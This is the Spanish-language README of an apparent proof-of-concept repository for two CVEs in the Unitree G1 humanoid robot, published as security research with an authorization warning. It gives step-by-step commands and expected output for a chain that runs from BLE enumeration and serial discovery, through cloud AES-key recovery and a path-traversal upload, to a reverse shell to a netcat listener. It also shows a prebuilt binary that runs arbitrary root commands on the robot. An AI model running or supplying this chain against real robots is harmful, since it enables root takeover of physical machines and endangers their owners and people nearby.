
Unitree G1 RCE PoC y Scripts (CVE-2026-76639 / CVE-2026-76640) detalles técnicos en boschko.ca/g1-ble-rce/
Detalles técnicos de UniBLEed: PoC y scripts de RCE para Unitree G1 (CVE-2026-76639 / CVE-2026-76640) en boschko.ca/g1-ble-rce/
Utiliza este repositorio únicamente con robots, cuentas y redes para los que tengas autorización de prueba. Las cadenas activas pueden modificar la configuración WiFi del robot, detener o reiniciar servicios, provocar un fallo en btgatt-server y ejecutar comandos como root.
| Ruta | Contenido |
|---|---|
ble-scanning | Descubrimiento BLE, enumeración GATT sin emparejar, descubrimiento de números de serie y captura del blob de arranque cifrado |
cloud-oracle | Reproducción del flujo histórico de recuperación de claves /device/bindExtData |
chatgo-bashrunner-rce | Cadena de path-traversal en DDS envuelto en WebRTC y ejecución de comandos mediante bashrunner |
pure-dds-rce | La misma cadena de servicio DDS implementada directamente con Cyclone DDS nativo |
ble-full-chain-rce | Cadena activa de BLE a root: arranque, recuperación de claves en la nube, aprovisionamiento WiFi, divulgación de PIE y desbordamiento de BSS |
scanning-tools | Utilidades de bajo nivel para BLE, DDS, WebRTC y enumeración de servicios usadas durante la investigación |
ble-bss-overflow.html | Recorrido interactivo del desbordamiento de BSS de 1.050 bytes en btgatt-server |
Valores como 0xF1 y 0xF2 son opcodes del protocolo de comunicación BLE. No son números de hallazgo.
Los nombres se mantienen coherentes con los componentes distribuidos: btgatt-server es el proceso BLE vulnerable, mientras que chat_go y bashrunner son nombres de servicios/módulos de Unitree. El ejecutable nativo de prueba de concepto de este repositorio se llama loco_rce.
Se recomienda Python 3.11 o superior.
Los ejemplos de comandos a continuación comienzan desde la raíz del repositorio. Los ejemplos de variables de shell solicitadas usan sintaxis de Bash.
git clone <repository-url>
cd githubunitreepoc
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
El acceso BLE depende de la plataforma anfitriona. En macOS, las direcciones impresas por Bleak son UUIDs de CoreBluetooth en lugar de direcciones MAC over-the-air.
Estos helpers requieren proximidad física BLE pero no una cuenta de Unitree, clave AES ni emparejamiento previo.
Enumerar los servicios GATT expuestos del G1 y los permisos de las características:
python3 ble-scanning/01_ble_gatt_enum.py
Recupere el número de serie del robot:
python3 ble-scanning/discover_sn.py --timeout 30
discover_sn.py primero comprueba los datos del fabricante BLE. Si el anuncio no contiene un número de serie, se conecta e intenta la solicitud 0xF1 en texto claro. Añade --passive-only para deshabilitar ese fallback conectado.
Captura el blob de arranque 0xF2 cifrado con RSA y guárdalo para el paso de recuperación en la nube:
python3 ble-scanning/02_ble_bootstrap.py \
--output ble-scanning/bootstrap-blob.txt
La salida típica se abrevia deliberadamente aquí:
Scanning for a Unitree G1 (10s)...
Found <robot-name> at <BLE-address> (<RSSI> dBm)
Connecting to <BLE-address>...
Sending opcode 0xF2 (0055543235f2fe)
Received 4 notifications
Encrypted bootstrap blob (344 Base64 characters):
<encrypted-blob>
Saved to ble-scanning/bootstrap-blob.txt
El blob es texto cifrado, no la clave AES en texto plano.
cloud-oracle/03_cloud_oracle.py reproduce el flujo histórico de recuperación de claves de la aplicación:
GET /system/pubKey.POST /device/bindExtData.Los servidores actuales pueden exigir la propiedad del robot. Utilice una cuenta autorizada para el robot objetivo.
Ejecute el helper y responda a sus indicaciones:
python3 cloud-oracle/03_cloud_oracle.py --show-http --redact
Solicita la cuenta, el número de serie del robot y la ruta del bootstrap-blob. Use ble-scanning/bootstrap-blob.txt para el archivo creado anteriormente. --redact oculta el token de acceso y la clave AES recuperada en la reproducción de curl impresa, lo que hace que la salida sea más segura para compartir.
Para una ejecución privada que imprima la clave recuperada, omita --redact:
python3 cloud-oracle/03_cloud_oracle.py
No pegues tokens de acceso, credenciales de cuenta, claves de robot, números de serie ni blobs capturados en los issues o en las transcripciones de terminal publicadas.
chat_go → bashrunner de WebRTC/DDSEsta PoC alcanza los servicios DDS del robot a través de su canal de datos WebRTC. Requiere la clave AES-128 del robot objetivo y un host conectado a la red Ethernet interna del robot.
Configura la interfaz del host según corresponda para la red de prueba. La PoC usa por defecto el robot 192.168.123.161 y la dirección de callback 192.168.123.55.
En la primera terminal, inicia un listener:
nc -lv 4444
En el segundo terminal, proporcione la clave AES hexadecimal de 32 caracteres sin confirmarla en el repositorio, luego ejecute la cadena:
read -rsp "Robot AES-128 key: " UNITREE_AES_KEY
echo
export UNITREE_AES_KEY
python3 chatgo-bashrunner-rce/reverse_shell_standalone.py \
<callback-ip> 4444
Expected output:
[*] Callback: <callback-ip>:4444
[*] Connecting via WebRTC...
[+] WebRTC connected + validated
[*] Starting chat_go...
[+] chat_go alive
[*] Uploading payload (path traversal)...
[+] Payload written
[*] Restarting bashrunner...
[+] bashrunner restarted
[*] Executing reverse shell...
[?] code=TIMEOUT — check listener anyway
[*] Done
La solicitud DDS final puede agotar el tiempo de espera porque reiniciar o ejecutar el servicio objetivo interrumpe la ruta de respuesta. Confirme el éxito desde el listener en lugar de tratar ese tiempo de espera por sí solo como un fallo.
Limpie la variable de shell cuando haya terminado:
unset UNITREE_AES_KEY
El cliente nativo se une directamente al dominio DDS 0. No utiliza WebRTC ni la clave AES del robot.
El ejecutable incluido pure-dds-rce/prebuilt_aarch64/loco_rce y el runtime de Cyclone DDS son para Linux AArch64. El ejecutable enlaza contra libddsc.so.11; el repositorio incluye ese symlink y su destino libddsc.so.11.0.1.
En un host Linux AArch64 conectado a la red Ethernet interna del robot:
El lanzador vacía las direcciones existentes de UNITREE_IFACE antes de asignar UNITREE_LOCAL_CIDR. Utilice una interfaz de laboratorio dedicada y verifique dos veces el nombre de la interfaz antes de ejecutarlo.
./pure-dds-rce/run_exploit_c.sh
Ejecute un comando diferente proporcionando un argumento entre comillas:
./pure-dds-rce/run_exploit_c.sh 'id && hostname && uname -a'
El lanzador usa por defecto la interfaz eth0, la dirección local 192.168.123.55/24 y la dirección del robot 192.168.123.161. Sobrescríbelos cuando sea necesario: